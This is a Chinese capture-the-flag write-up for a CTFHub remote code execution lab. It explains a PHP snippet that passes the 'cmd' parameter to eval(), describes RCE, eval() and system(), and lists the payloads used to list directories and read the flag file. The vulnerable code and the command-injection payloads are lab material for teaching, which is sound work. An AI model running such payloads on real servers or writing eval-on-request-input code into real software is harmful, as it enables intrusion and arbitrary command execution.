RCE1-eval执行(?cmd=system("ls /")命令+cat /flag命令)
一.题目链接:
https://www.ctfhub.com/#/skilltree
二.代码分析
<?php
if (isset($_REQUEST['cmd'])) { #检查请求中是否含有'cmd'参数
eval($_REQUEST["cmd"]); #如果存在cmd参数,则直接执行其中的php代码
} else {
highlight_file(__FILE__); #如果没有cmd参数,则高亮显示当前文件源代码
}
?>
三.基础知识
3.1 什么是RCE(Remote Code Execution)?
- 概念:指攻击者能够从远程位置在目标系统上执行任意代码或命令的安全漏洞
- 如何利用:
1.命令注入:通过web应用将恶意代码注入到系统命令中执行
2.反序列化漏洞:不当的反序列化导致代码执行
3.模板注入:在模板引擎注入可执行代码
4.文件上传漏洞:上传恶意代码的文件并执行3.2 eval()函数
- 危险:它把字符串code作为php代码执行,函数eval()语言结构非常危险,因为它容许执行任意php代码。
3.3 system()函数:执行系统命令并输出执行结果
3.4
ls /:查看根目录
四.开始解题
1.输入以下playload查看是否有关键文件,没有,那就上一级继续查找
?cmd=system("ls");

2.还是没有,继续上一级
?cmd=system("ls ../");

3.继续上一级
?cmd=system("ls ../../");

4.最终,我们在根目录发现有flag的踪迹,cat 一下内容
?cmd=system("ls ../../../");

?cmd=system("cat /flag_10924");


浙公网安备 33010602011771号